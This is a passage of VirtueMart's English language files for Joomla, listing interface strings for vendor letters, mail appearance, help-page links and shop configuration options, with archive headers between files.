COM_VIRTUEMART_VENDOR_LETTER_HEADER_LINE="Line below header" COM_VIRTUEMART_VENDOR_LETTER_HEADER_LINE_COLOR="Line color" COM_VIRTUEMART_VENDOR_LETTER_LETTER="Letter" COM_VIRTUEMART_VENDOR_LETTER_MARGIN_BOTTOM="Contents Bottom Margin" COM_VIRTUEMART_VENDOR_LETTER_MARGIN_FOOTER="Footer Margin" COM_VIRTUEMART_VENDOR_LETTER_MARGIN_HEADER="Header Margin" COM_VIRTUEMART_VENDOR_LETTER_MARGIN_LEFT="Left Margin" COM_VIRTUEMART_VENDOR_LETTER_MARGIN_RIGHT="Right Margin" COM_VIRTUEMART_VENDOR_LETTER_MARGIN_TOP="Contents Top Margin" COM_VIRTUEMART_VENDOR_LETTER_ORIENTATION="Orientation" COM_VIRTUEMART_VENDOR_LETTER_ORIENTATION_LANDSCAPE="Landscape" COM_VIRTUEMART_VENDOR_LETTER_ORIENTATION_PORTRAIT="Portrait" COM_VIRTUEMART_VENDOR_LETTER_PAGE="Invoice page geometry" COM_VIRTUEMART_VENDOR_LETTER_REPLACEMENTS_DESC="In the letter headers and footers, you can use the following placeholders to display non-fixed text: {vm:pagenum}, {vm:pagecount}, {vm:vendorname}, {vm:vendorimage}, {vm:vendoraddress}, {vm:vendorlegalinfo}, {vm:vendordescription}, {vm:tos}." COM_VIRTUEMART_VENDOR_MAIL_APPEARANCE="Mail appearance" COM_VIRTUEMART_VENDOR_MAIL_FONT="Default font" COM_VIRTUEMART_VENDOR_MAIL_FONT_SIZE="Content font size" COM_VIRTUEMART_VENDOR_MAIL_FONT_SIZE_FOOTER="Footer font size" COM_VIRTUEMART_VENDOR_MAIL_FONT_SIZE_HEADER="Header font size" COM_VIRTUEMART_VENDOR_MAIL_FREE1="Mail custom text top" COM_VIRTUEMART_VENDOR_MAIL_FREE1_DESC="Define a custom text that will be displayed at the top of your mails." COM_VIRTUEMART_VENDOR_MAIL_FREE2="Mail custom text bottom" COM_VIRTUEMART_VENDOR_MAIL_FREE2_DESC="Define a custom text that will be displayed at the bottom of your mails." COM_VIRTUEMART_VENDOR_MAIL_HEADER="Show mail header?" COM_VIRTUEMART_VENDOR_MAIL_LOGO="Show logo in mails?" COM_VIRTUEMART_VENDOR_MAIL_LOGO_WIDTH="Logo width" COM_VIRTUEMART_VENDOR_MAIL_TOS="Show Terms of Service?" COM_VIRTUEMART_VENDOR_MAIL_WIDTH="Mail width" COM_VIRTUEMART_VENDOR_NAME="Vendor name" COM_VIRTUEMART_VENDOR_VIEW_CONTACT_DESC="Displays VirtueMart vendor details" COM_VIRTUEMART_VENDOR_VIEW_CONTACT_TITLE="Displays VirtueMart vendor details" COM_VIRTUEMART_VENDOR_VIEW_DEFAULT_DESC="Displays VirtueMart vendors" COM_VIRTUEMART_VENDOR_VIEW_DEFAULT_TITLE="Displays VirtueMart vendors" COM_VIRTUEMART_VENDOR_VIEW_DETAILS_DESC="Displays VirtueMart vendor details" COM_VIRTUEMART_VENDOR_VIEW_DETAILS_TITLE="Displays VirtueMart vendor details" COM_VIRTUEMART_VENDOR_VIEW_TOS_DESC="View vendor TOS" COM_VIRTUEMART_VENDOR_VIEW_TOS_TITLE="View vendor TOS" COM_VIRTUEMART_VERSIONCHECK_TITLE="VirtueMart Version Check" COM_VIRTUEMART_VIEW="View" COM_VIRTUEMART_VIRTUEMART_COUNTRY_ID="country id" COM_VIRTUEMART_VIRTUEMART_CUSTOM_ID="custom id" COM_VIRTUEMART_VIRTUEMART_ORDER_ID="Order id" COM_VIRTUEMART_VIRTUEMART_PRODUCT_ID="Product id" COM_VIRTUEMART_VIRTUEMART_STATE_IDS="States" COM_VIRTUEMART_VIRTUEMART_USERINFO_ID="User information id" COM_VIRTUEMART_VIRTUEMART_USER_ID="user id" COM_VIRTUEMART_VIRTUEMART_VENDOR_ID="vendor" COM_VIRTUEMART_VIRTUEMART_VIEW_DEFAULT_TITLE="VirtueMart Front page" COM_VIRTUEMART_VIRTUEMART_VIEW_DEFAULT_TITLE_DESC="Displays the VirtueMart front page" COM_VIRTUEMART_VISIBLE_FOR_SHOPPER="Visible for Shopper" COM_VIRTUEMART_VISIBLE_FOR_VENDOR="Visible for vendor" COM_VIRTUEMART_VOTE_JED="Vote and Rate at JED" COM_VIRTUEMART_VOTE_JED_DESC="If you use VirtueMart, please post a rating and a review at the Joomla! Extensions Directory." COM_VIRTUEMART_WAITING_LIST_DELETE_ERR_PRODUCT="You must enter a product id." COM_VIRTUEMART_WAITING_LIST_DELETE_SELECT="Please select a waiting list id to delete." COM_VIRTUEMART_WAITING_LIST_ERR_ALREADY="You are already being notified of this product." COM_VIRTUEMART_WAITING_LIST_ERR_EMAIL_ENTER="You must enter an email address to be on the waiting list." COM_VIRTUEMART_WAITING_LIST_ERR_EMAIL_NOTVALID="Please provide a valid email address." COM_VIRTUEMART_WAITING_LIST_ERR_PRODUCT="You must enter a product to be on the waiting list." COM_VIRTUEMART_WARN_NO_SAFE_PATH_SET="Warning, the %1$s is empty, for safety reasons it is very important to create a folder in a path not accessible by an URL, create also a folder invoices in it to store your sensitive data secure. Our suggested path is for your system %2$s, use this link to the config" COM_VIRTUEMART_WARN_SAFE_PATH_INV_NOT_WRITEABLE="The path for invoices seems to miss the correct file permissions %1$s" COM_VIRTUEMART_WARN_SAFE_PATH_NOT_WRITEABLE="The %1$s is not writeable. Please ensure that you have the correct file permissions and directory settings" COM_VIRTUEMART_WARN_SAFE_PATH_NO_INVOICE="Sorry, was not able to create directory for invoices in the %1$s, please create there manually the folder 'invoices'" COM_VIRTUEMART_WARN_SAFE_PATH_WRONG="Warning, the %1$s is not accessible (does not exist or no permission), for safety reasons it is very important to create a folder in a path not accessible by an URL, create also a folder invoices in it to store your sensitive data secure. Our suggested path is for your system %2$s, use this link to the config" COM_VIRTUEMART_WEEK="Week" COM_VIRTUEMART_WEEKS="Weeks" COM_VIRTUEMART_WEEK_S="Weeks" COM_VIRTUEMART_WORLDZONE="Zone" COM_VIRTUEMART_WRITABLE="Writeable" COM_VIRTUEMART_X_CHILD_PRODUCT="%s Children" COM_VIRTUEMART_YEAR="Year" COM_VIRTUEMART_YEAR_S="Years" COM_VIRTUEMART_YES="Yes" COM_VIRTUEMART_YOUR_VERSION="Your Version" COM_VIRTUEMART_ZONE_ASSIGN_CURRENT_LBL="Current Zone" ; already added for vm2.1 COM_VIRTUEMART_CUSTOM_IS_CART_INPUT="Cart Input" COM_VIRTUEMART_CUSTOM_OVERRIDE="Override for %s" COM_VIRTUEMART_FIELDMANAGER_SHOW_ON_CART="Show in cart form" ;ACL settings COM_VIRTUEMART_CALC_EDIT="Edit Taxes and Calculation Rules" COM_VIRTUEMART_PRODUCT_CUSTOM_FIELD_EDIT="Edit Custom Fields" COM_VIRTUEMART_SHOPPERGROUP_EDIT="Edit Shopper Groups" COM_VIRTUEMART_USERS_EDIT="Edit users" PK@y>\V3components/com_virtuemart/language/en-GB/index.htmlnuW+A PK@y>\vSrFcomponents/com_virtuemart/language/en-GB/en-GB.com_virtuemart_help.ininuW+A; Virtuemart! Project ; Copyright (C) 2011 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM COM_VIRTUEMART_HELP_CATEGORY="http://docs.virtuemart.net/home/17-products-menu/39-product-categories" COM_VIRTUEMART_HELP_CATEGORY_EDIT="http://docs.virtuemart.net/home/17-products-menu/27-category-edit" COM_VIRTUEMART_HELP_PRODUCT="http://docs.virtuemart.net/home/17-products-menu/33-product" COM_VIRTUEMART_HELP_PRODUCT_EDIT="http://docs.virtuemart.net/home/17-products-menu/28-product-edit" COM_VIRTUEMART_HELP_CUSTOM="http://docs.virtuemart.net/home/17-products-menu/38-custom-edit" COM_VIRTUEMART_HELP_CUSTOM_EDIT="http://docs.virtuemart.net/home/17-products-menu/38-custom-edit" COM_VIRTUEMART_HELP_INVENTORY="http://docs.virtuemart.net/home/17-products-menu/29-inventory" COM_VIRTUEMART_HELP_CALC="http://docs.virtuemart.net/home/17-products-menu/30-taxes-and-calculation-rules" COM_VIRTUEMART_HELP_CALC_EDIT="http://docs.virtuemart.net/home/17-products-menu/36-calc-edit" COM_VIRTUEMART_HELP_RATINGS="http://docs.virtuemart.net/home/17-products-menu/31-reviews-and-ratings" COM_VIRTUEMART_HELP_RATINGS_LISTREVIEWS="http://docs.virtuemart.net/home/17-products-menu/40-list-reviews-and-ratings" COM_VIRTUEMART_HELP_RATINGS_EDIT_REVIEW="http://docs.virtuemart.net/home/17-products-menu/41-edit-review-and-rating" COM_VIRTUEMART_HELP_ORDERS="http://docs.virtuemart.net/home/18-order-shoppers-menu/42-orders" COM_VIRTUEMART_HELP_ORDERS_EDIT="http://docs.virtuemart.net/home/18-order-shoppers-menu/43-edit-order" COM_VIRTUEMART_HELP_REPORT="http://docs.virtuemart.net/home/18-order-shoppers-menu/44-revenue-report" COM_VIRTUEMART_HELP_USER="http://docs.virtuemart.net/home/18-order-shoppers-menu/45-shoppers" COM_VIRTUEMART_HELP_USER_EDIT="http://docs.virtuemart.net/home/18-order-shoppers-menu/46-edit-shopper" COM_VIRTUEMART_HELP_SHOPPERGROUP="http://docs.virtuemart.net/home/18-order-shoppers-menu/47-shopper-groups" COM_VIRTUEMART_HELP_SHOPPERGROUP_EDIT="http://docs.virtuemart.net/home/18-order-shoppers-menu/48-edit-shopper-group" COM_VIRTUEMART_HELP_COUPON="http://docs.virtuemart.net/home/18-order-shoppers-menu/49-coupons" COM_VIRTUEMART_HELP_COUPON_EDIT="http://docs.virtuemart.net/home/18-order-shoppers-menu/50-edit-coupon" COM_VIRTUEMART_HELP_MANUFACTURER="http://docs.virtuemart.net/home/19-manufacturers-menu/51-manufacturers" COM_VIRTUEMART_HELP_MANUFACTURER_EDIT="http://docs.virtuemart.net/home/19-manufacturers-menu/52-edit-manufacturer" COM_VIRTUEMART_HELP_MANUFACTURERCATEGORIES="http://docs.virtuemart.net/home/19-manufacturers-menu/53-manufacturer-categories" COM_VIRTUEMART_HELP_MANUFACTURERCATEGORIES_EDIT="http://docs.virtuemart.net/home/19-manufacturers-menu/72-edit-manufacturer" COM_VIRTUEMART_HELP_USER_EDITSHOP="http://docs.virtuemart.net/home/20-shop-menu/55-shop" COM_VIRTUEMART_HELP_MEDIA="http://docs.virtuemart.net/home/20-shop-menu/56-media-files" COM_VIRTUEMART_HELP_MEDIA_EDIT="http://docs.virtuemart.net/home/20-shop-menu/57-edit-media-file" COM_VIRTUEMART_HELP_SHIPMENTMETHOD="http://docs.virtuemart.net/home/20-shop-menu/58-shipment-methods" COM_VIRTUEMART_HELP_SHIPMENTMETHOD_EDIT="http://docs.virtuemart.net/home/20-shop-menu/59-edit-shipment-method" COM_VIRTUEMART_HELP_PAYMENTMETHOD="http://docs.virtuemart.net/home/20-shop-menu/60-payment-methods" COM_VIRTUEMART_HELP_PAYMENTMETHOD_EDIT="http://docs.virtuemart.net/home/20-shop-menu/61-edit-payment-method" COM_VIRTUEMART_HELP_CONFIG="http://docs.virtuemart.net/home/21-configuration-menu/62-configuration" COM_VIRTUEMART_HELP_USERFIELDS="http://docs.virtuemart.net/home/21-configuration-menu/63-shopper-fields" COM_VIRTUEMART_HELP_USERFIELDS_EDIT="http://docs.virtuemart.net/home/21-configuration-menu/64-edit-shopper-field" COM_VIRTUEMART_HELP_ORDERSTATUS="http://docs.virtuemart.net/home/21-configuration-menu/65-order-statuses" COM_VIRTUEMART_HELP_ORDERSTATUS_EDIT="http://docs.virtuemart.net/home/21-configuration-menu/66-edit-order-status" COM_VIRTUEMART_HELP_CURRENCY="http://docs.virtuemart.net/home/21-configuration-menu/67-currencies" COM_VIRTUEMART_HELP_CURRENCY_EDIT="http://docs.virtuemart.net/home/21-configuration-menu/68-edit-currency" COM_VIRTUEMART_HELP_COUNTRY="http://docs.virtuemart.net/home/21-configuration-menu/69-countries" COM_VIRTUEMART_HELP_COUNTRY_EDIT="http://docs.virtuemart.net/home/21-configuration-menu/71-edit-country" COM_VIRTUEMART_HELP_STATE="http://docs.virtuemart.net/home/21-configuration-menu/state" COM_VIRTUEMART_HELP_STATE_EDIT="http://docs.virtuemart.net/home/21-configuration-menu/state-edit" COM_VIRTUEMART_HELP_UPDATESMIGRATION="http://docs.virtuemart.net/home/22-tools-menu/70-tools-migration" PK@y>\ƷSSHcomponents/com_virtuemart/language/en-GB/en-GB.com_virtuemart_config.ininuW+A; VirtueMart Project ; Copyright (C) 2008 VirtueMart, 2009 VirtueMart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM ; Config COM_VIRTUEMART_ADMIN_CFG_ACCOUNT_ACTIVATION="New account activation necessary?" COM_VIRTUEMART_ADMIN_CFG_ADDTOCART_POPUP="Display modal popup upon 'Add to cart'" COM_VIRTUEMART_ADMIN_CFG_ADDTOCART_POPUP_EXPLAIN="If checked, you see the modal 'facebox' on adding a product to cart else you are redirect to the cart" COM_VIRTUEMART_ADMIN_CFG_AGREE_TERMS_ONORDER="Must agree to Terms of Service on EVERY ORDER?" COM_VIRTUEMART_ADMIN_CFG_AGREE_TERMS_ONORDER_EXPLAIN="Check if you want a shopper to agree to your terms of service on EVERY ORDER (before placing the order)." COM_VIRTUEMART_ADMIN_CFG_ALLOW_REGISTRATION="User registration allowed?" COM_VIRTUEMART_ADMIN_CFG_ASSETS_GENERAL_PATH="General Assets URL" COM_VIRTUEMART_ADMIN_CFG_ASSETS_GENERAL_PATH_EXPLAIN="This is usually the URL to the asset folder in com_virtuemart (relative to joomla root, do not add http or domain)" COM_VIRTUEMART_ADMIN_CFG_AUTOMATIC_PAYMENT="Enable Automatic Selected Payment?" COM_VIRTUEMART_ADMIN_CFG_AUTOMATIC_PAYMENT_EXPLAIN="When Automatic Selected Payment is enabled, if only one payment method is available, then it is preselected.
      If Automatic Selected Payment is NOT selected, even when there is only one payment method is available, a new page is loaded. It is usefull if the payment method must validate payment data entered by the user." COM_VIRTUEMART_ADMIN_CFG_AUTOMATIC_SHIPMENT="Enable Automatic Selected Shipment?" COM_VIRTUEMART_ADMIN_CFG_AUTOMATIC_SHIPMENT_EXPLAIN="When Automatic Selected Shipment is enabled, if only one shipment method is available, then it is preselected.
      If Automatic Selected Shipment is NOT selected, even when there is only one shipment method is available, a new page is loaded. It is usefull if the shipment method must validate shipment data entered by the user." COM_VIRTUEMART_ADMIN_CFG_CATEGORIES_PER_ROW="Default number of categories in a row" COM_VIRTUEMART_ADMIN_CFG_CATEGORIES_PER_ROW_EXPLAIN="This defines the number of categories in a row.
      " COM_VIRTUEMART_ADMIN_CFG_CATEGORY_LAYOUT="Category Layout" COM_VIRTUEMART_ADMIN_CFG_CATEGORY_LAYOUT_EXPLAIN="This is the default layout for browsing categories." COM_VIRTUEMART_ADMIN_CFG_CATEGORY_TEMPLATE="Category Template" COM_VIRTUEMART_ADMIN_CFG_CATEGORY_TEMPLATE_EXPLAIN="This defines the default category template for displaying products in a category.
      " COM_VIRTUEMART_ADMIN_CFG_CAT_FEED_SETTINGS="Category Feed Settings" COM_VIRTUEMART_ADMIN_CFG_CHECKOUTTAB="Checkout" COM_VIRTUEMART_ADMIN_CFG_CHECKOUT_SETTINGS="Checkout Settings" COM_VIRTUEMART_ADMIN_CFG_DATEFORMAT="Shop date format" COM_VIRTUEMART_ADMIN_CFG_DATEFORMAT_EXPLAIN="The default date format used by the shop. Ex: %m/%d/%y." COM_VIRTUEMART_ADMIN_CFG_DEBUG="DEBUG?" COM_VIRTUEMART_ADMIN_CFG_DEBUG_EXPLAIN="Turns on the debug output. This causes the DEBUGPAGE to be displayed at the bottom of each page. Very helpful during shop development since it shows the carts contents, form field values, etc." COM_VIRTUEMART_ADMIN_CFG_DEBUG_IP_ADDRESS="Client IP address" COM_VIRTUEMART_ADMIN_CFG_DEBUG_IP_ADDRESS_EXPLAIN="If you enable this option and enter an IP address here, then debug output will be enabled ONLY for this client IP address. Other clients will not see the debugging output." COM_VIRTUEMART_ADMIN_CFG_DOWNLOADABLETAB="Downloads" COM_VIRTUEMART_ADMIN_CFG_DOWNLOADROOT="Download Path" COM_VIRTUEMART_ADMIN_CFG_DOWNLOADROOT_EXPLAIN="The physical path to the files for the shopper download. (trailing slash at the end!)
      " COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_EXPIRE="Download Expire" COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_EXPIRE_EXPLAIN="Sets the time range in seconds in which the download is enabled for the shopper." COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_KEEP_STOCKLEVEL="Keep Product Stock Level on Purchase?" COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_KEEP_STOCKLEVEL_TIP="When enabled, the stock level for a downloadable product is not lowered although it was purchased by shoppers." COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_MAX="Download Maximum" COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_MAX_EXPLAIN="Sets the number of downloads which can be made with one Download-ID, (for one order)" COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_SETTINGS="Download Settings" COM_VIRTUEMART_ADMIN_CFG_DYNAMIC_THUMBNAIL_RESIZING="Enable Dynamic Thumbnail Resizing?" COM_VIRTUEMART_ADMIN_CFG_DYNAMIC_THUMBNAIL_RESIZING_TIP="If checked, you enable dynamic Image Resizing. This means that all Thumbnail Images are resized to fit the Sizes you provide below" COM_VIRTUEMART_ADMIN_CFG_ENABLE_CONTENT_PLUGIN="Enable Joomla Plugin" COM_VIRTUEMART_ADMIN_CFG_ENABLE_CONTENT_PLUGIN_EXPLAIN="Enable Joomla content Plugin for the Product description. Should not be checked if you don't use Joomla content plugin" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DEBUG="Enable debugging messages" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DEBUG_ADMIN="Only for administrators" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DEBUG_ALL="For all" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DEBUG_EXPLAIN="Select to who the debug message are reported" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DEBUG_NONE="No debug" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DOWNLOADS="Enable Downloads" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DOWNLOADS_EXPLAIN="Check to enable the download capability. Only if you want to sell downloadable goods." COM_VIRTUEMART_ADMIN_CFG_ENABLE_ENGLISH="Use english as fallback for untranslated strings" COM_VIRTUEMART_ADMIN_CFG_ENABLE_ENGLISH_EXPLAIN="Load the english language file, to avoid untranslated strings to be displayed as keys" COM_VIRTUEMART_ADMIN_CFG_ENABLE_GOOGLE_JQUERY="Use external google jQuery library" COM_VIRTUEMART_ADMIN_CFG_ENABLE_GOOGLE_JQUERY_TIP="Using the external google library improves page speed" COM_VIRTUEMART_ADMIN_CFG_ENABLE_MULTIX="Enable Multivendor (experimental only for developers)" COM_VIRTUEMART_ADMIN_CFG_ENABLE_MULTIX_ADMIN="administrated multivendor" COM_VIRTUEMART_ADMIN_CFG_ENABLE_MULTIX_EXPLAIN="Enable this function only, when you can code php and know what to do, this is just an option to enable multivendor for customisation." COM_VIRTUEMART_ADMIN_CFG_ENABLE_MULTIX_NONE="none" COM_VIRTUEMART_ADMIN_CFG_ENABLE_PDF_INVOICES="Create and send pdf invoices" COM_VIRTUEMART_ADMIN_CFG_ENABLE_PDF_INVOICES_EXPLAIN="For this feature it is important that you set your safe path correctly" COM_VIRTUEMART_ADMIN_CFG_ERRORPAGE="ERRORPAGE" COM_VIRTUEMART_ADMIN_CFG_ERRORPAGE_EXPLAIN="This is the default page for displaying error messages." COM_VIRTUEMART_ADMIN_CFG_EXPLAIN="Be aware that a session cache is active for the configuration and has a life time of 500 minutes. Your changes take up to 5 minutes to affect all sessions, including your session. To generate a new session, just logout, and login again." COM_VIRTUEMART_ADMIN_CFG_FEAT_PROD_ROWS="Rows for featured products" COM_VIRTUEMART_ADMIN_CFG_FEAT_PROD_ROWS_EXPL="This defines the number of rows for featured products." COM_VIRTUEMART_ADMIN_CFG_FEED_DESCRIPTION_TYPE="Type of Product Description" COM_VIRTUEMART_ADMIN_CFG_FEED_DESCRIPTION_TYPE_TIP="Choose the type of product description that will be included with the feed." COM_VIRTUEMART_ADMIN_CFG_FEED_ENABLE="Enable Product Feeds" COM_VIRTUEMART_ADMIN_CFG_FEED_ENABLE_TIP="If enabled, shoppers can subscribe to a feed that provides the products of all certain categories in your shop." COM_VIRTUEMART_ADMIN_CFG_FEED_FEATURED_ENABLE="Enable Featured Product Feeds" COM_VIRTUEMART_ADMIN_CFG_FEED_FEATURED_ENABLE_TIP="If enabled, shoppers can subscribe to a feed that provides the Featured products in your shop." COM_VIRTUEMART_ADMIN_CFG_FEED_FEATURED_NB="Number of featured products" COM_VIRTUEMART_ADMIN_CFG_FEED_FEATURED_NB_TIP="Number of featured products to send to the feed" COM_VIRTUEMART_ADMIN_CFG_FEED_LATEST_ENABLE="Enable Latest Product Feeds" COM_VIRTUEMART_ADMIN_CFG_FEED_LATEST_ENABLE_TIP="If enabled, shoppers can subscribe to a feed that provides the latest products in your shop." COM_VIRTUEMART_ADMIN_CFG_FEED_LATEST_NB="Number of latest products" COM_VIRTUEMART_ADMIN_CFG_FEED_LATEST_NB_TIP="Number of latest products to send to the feed" COM_VIRTUEMART_ADMIN_CFG_FEED_LIMITTEXT="Limit the Description?" COM_VIRTUEMART_ADMIN_CFG_FEED_MAX_TEXT_LENGTH="Maximum Description Length" COM_VIRTUEMART_ADMIN_CFG_FEED_SHOWDESC="Include the Product Description?" COM_VIRTUEMART_ADMIN_CFG_FEED_SHOWDESC_TIP="If enabled, the Product Description will be added to the feed item" COM_VIRTUEMART_ADMIN_CFG_FEED_SHOWIMAGES="Include Images into the feed?" COM_VIRTUEMART_ADMIN_CFG_FEED_SHOWIMAGES_TIP="If enabled, the thumb images will be included with the feed item." COM_VIRTUEMART_ADMIN_CFG_FEED_SHOWPRICES="Include the Product Price into the description?" COM_VIRTUEMART_ADMIN_CFG_FEED_SHOWPRICES_TIP="If enabled, the standard Product Price will be added to the Product Description" COM_VIRTUEMART_ADMIN_CFG_FEED_TOPTEN_ENABLE="Enable Top Ten Product Feeds" COM_VIRTUEMART_ADMIN_CFG_FEED_TOPTEN_ENABLE_TIP="If enabled, shoppers can subscribe to a feed that provides the Top Ten products in your shop." COM_VIRTUEMART_ADMIN_CFG_FEED_TOPTEN_NB="Number of topten products" COM_VIRTUEMART_ADMIN_CFG_FEED_TOPTEN_NB_TIP="Number of topten products to send to the feed" COM_VIRTUEMART_ADMIN_CFG_FRONTENDAMDIN="Allow Frontend-Administration for non-Backend Users?" COM_VIRTUEMART_ADMIN_CFG_FRONTENDAMDIN_EXPLAIN="With this setting you can enable the Frontend Administration for users who" COM_VIRTUEMART_ADMIN_CFG_FRONT_CSS="Using the VirtueMart CSS" COM_VIRTUEMART_ADMIN_CFG_FRONT_CSS_JS_SETTINGS="Activate Css Styles & Javascripts" COM_VIRTUEMART_ADMIN_CFG_FRONT_CSS_JS_SETTINGS_TIP="Inactivate some of this script requires the installation of the replacement script in your template.
      In other case your shop is no longer functional " COM_VIRTUEMART_ADMIN_CFG_FRONT_CSS_TIP="Using the original Virtuemart CSS design" COM_VIRTUEMART_ADMIN_CFG_FRONT_JCHOSEN="Use jQuery chosen for dropdowns in FE" COM_VIRTUEMART_ADMIN_CFG_FRONT_JCHOSEN_TIP="Usually you can activate this, but some templates may have already their own solution" COM_VIRTUEMART_ADMIN_CFG_FRONT_JPRICE="Using the product Scripts" COM_VIRTUEMART_ADMIN_CFG_FRONT_JPRICE_TIP="These scripts are required for the dynamic operation of the basket and price!
      You loose all the standard inter-activity by turning off the script" COM_VIRTUEMART_ADMIN_CFG_FRONT_JQUERY="Using the VirtueMart jQuery" COM_VIRTUEMART_ADMIN_CFG_FRONT_JQUERY_TIP="To address some issues between VirtueMart and Templates / component / modules, you can disable the jQuery internal library " COM_VIRTUEMART_ADMIN_CFG_FRONT_JSITE="Using the Script ajax Countries / Regions" COM_VIRTUEMART_ADMIN_CFG_FRONT_JSITE_TIP="Dynamic update Your country / region will not work without this script.
      Please, verify that this does not affect the operation of your site" COM_VIRTUEMART_ADMIN_CFG_GD_MISSING="Dynamic Image Resizing is not available. The GD library seems to be missing" COM_VIRTUEMART_ADMIN_CFG_HOMEPAGE_SETTINGS="VirtueMart Home Page Settings" COM_VIRTUEMART_ADMIN_CFG_HOME_FEED_SETTINGS="Home Page Feed Settings" COM_VIRTUEMART_ADMIN_CFG_JOOMLA_TEMPLATE_DEFAULT="Use joomla default" COM_VIRTUEMART_ADMIN_CFG_LANGFIX="Language Javascript Fix" COM_VIRTUEMART_ADMIN_CFG_LANGFIX_EXPLAIN="Activate the language Javascript Fix for some Joomla version" COM_VIRTUEMART_ADMIN_CFG_LAT_PROD_ROWS="Rows for latest" COM_VIRTUEMART_ADMIN_CFG_LAT_PROD_ROWS_EXPL="This defines the number of rows for latest products." COM_VIRTUEMART_ADMIN_CFG_MAIL_FORMAT="Order-mail format" COM_VIRTUEMART_ADMIN_CFG_MAIL_FORMAT_EXPLAIN="This determines how your order confirmation emails are set up" COM_VIRTUEMART_ADMIN_CFG_MAIL_FORMAT_HTML="HTML mail" COM_VIRTUEMART_ADMIN_CFG_MAIL_FORMAT_TEXT="Text mail" COM_VIRTUEMART_ADMIN_CFG_MAIL_FROM_RECIPIENT="Receive vendor mail with recipient address" COM_VIRTUEMART_ADMIN_CFG_MAIL_FROM_RECIPIENT_EXPLAIN="Usually the vendor receives the mail from joomla system email address. If you set this, you'll receive the mail coming as recipient address. Set this option if you're really sure what you do! If in doubt, do not switch on this parameter." COM_VIRTUEMART_ADMIN_CFG_MAIL_FROM_SETSENDER="Recipient address set as Sender, not ReplyTo" COM_VIRTUEMART_ADMIN_CFG_MAIL_FROM_SETSENDER_EXPLAIN="If set, the mail address of the recipient is set as Sender. If not, the recipient is set as reply address. Set this option if you're really sure what you do! If in doubt, do not switch on this parameter." COM_VIRTUEMART_ADMIN_CFG_MAIL_USEVENDOR="Use the vendor email address" COM_VIRTUEMART_ADMIN_CFG_MAIL_USEVENDOR_EXPLAIN="You can use the vendor email address or the one set in the joomla configuration. This setting depends on your selected mailer." COM_VIRTUEMART_ADMIN_CFG_MAIN_LAYOUT="Layout for your home page" COM_VIRTUEMART_ADMIN_CFG_MAIN_LAYOUT_TIP="This is the default layout for your homepage" COM_VIRTUEMART_ADMIN_CFG_MANUFACTURER_PER_ROW="Default number of manufacturer in a row" COM_VIRTUEMART_ADMIN_CFG_MANUFACTURER_PER_ROW_EXPLAIN="This defines the number of manufacturer in a row.
      " COM_VIRTUEMART_ADMIN_CFG_MAX_TEXT_LENGTH_TIP="This is the maximum length of the product description for each feed item. If no value is set, the complete description is sent." COM_VIRTUEMART_ADMIN_CFG_MEDIA_CATEGORY_PATH="Category Media URL" COM_VIRTUEMART_ADMIN_CFG_MEDIA_CATEGORY_PATH_EXPLAIN="URL to the images of the categories (relative to joomla root, do not add http or domain)" COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH="Safe Path" COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH_EXPLAIN="Path for downloadable goods for sale and your invoices. This path is meant from your file root, not Joomla root. Attention - you must enter an absolute path here and it should (not must) be outside of your domain directory (i.e. httpdocs)" COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH_THUMB="Thumbnail url for media to sell" COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH_THUMB_EXPLAIN="The idea is that you can represent your downloadable goods by a self chosen thumbnail, this is usually a normal URL." COM_VIRTUEMART_ADMIN_CFG_MEDIA_MANUFACTURER_PATH="Manufacturer Media URL" COM_VIRTUEMART_ADMIN_CFG_MEDIA_MANUFACTURER_PATH_EXPLAIN="URL to the images of the manufacturers" COM_VIRTUEMART_ADMIN_CFG_MEDIA_PRODUCT_PATH="Product Media URL" COM_VIRTUEMART_ADMIN_CFG_MEDIA_PRODUCT_PATH_EXPLAIN="URL to the images of the products (relative to joomla root, do not add http or domain)" COM_VIRTUEMART_ADMIN_CFG_MEDIA_TITLE="Media Files Settings" COM_VIRTUEMART_ADMIN_CFG_MEDIA_VENDOR_PATH="Vendor Media URL" COM_VIRTUEMART_ADMIN_CFG_MEDIA_VENDOR_PATH_EXPLAIN="URL to the images of the vendors (relative to joomla root, do not add http or domain)" COM_VIRTUEMART_ADMIN_CFG_MORE_CORE_SETTINGS="Core Settings" COM_VIRTUEMART_ADMIN_CFG_MULTILANGUE="Multilingual shop" COM_VIRTUEMART_ADMIN_CFG_MULTILANGUE_EXPLAIN="Activate the multi-language translation system" COM_VIRTUEMART_ADMIN_CFG_NOIMAGEFOUND="'no image found' image" COM_VIRTUEMART_ADMIN_CFG_NOIMAGEFOUND_EXPLAIN="This means that there is no image found at the given path" COM_VIRTUEMART_ADMIN_CFG_NOIMAGEPAGE="'no image' image" COM_VIRTUEMART_ADMIN_CFG_NOIMAGEPAGE_EXPLAIN="This image will be shown when no product image is available." COM_VIRTUEMART_ADMIN_CFG_ORDER_DISABLE_DOWNLOADS="Order Status which disables downloads" COM_VIRTUEMART_ADMIN_CFG_ORDER_DISABLE_DOWNLOADS_EXPLAIN="Sets the order status at which the download is disabled for the shopper." COM_VIRTUEMART_ADMIN_CFG_ORDER_ENABLE_DOWNLOADS="Order Status which enables download" COM_VIRTUEMART_ADMIN_CFG_ORDER_ENABLE_DOWNLOADS_EXPLAIN="Select the order status at which the shopper is notified about the download via 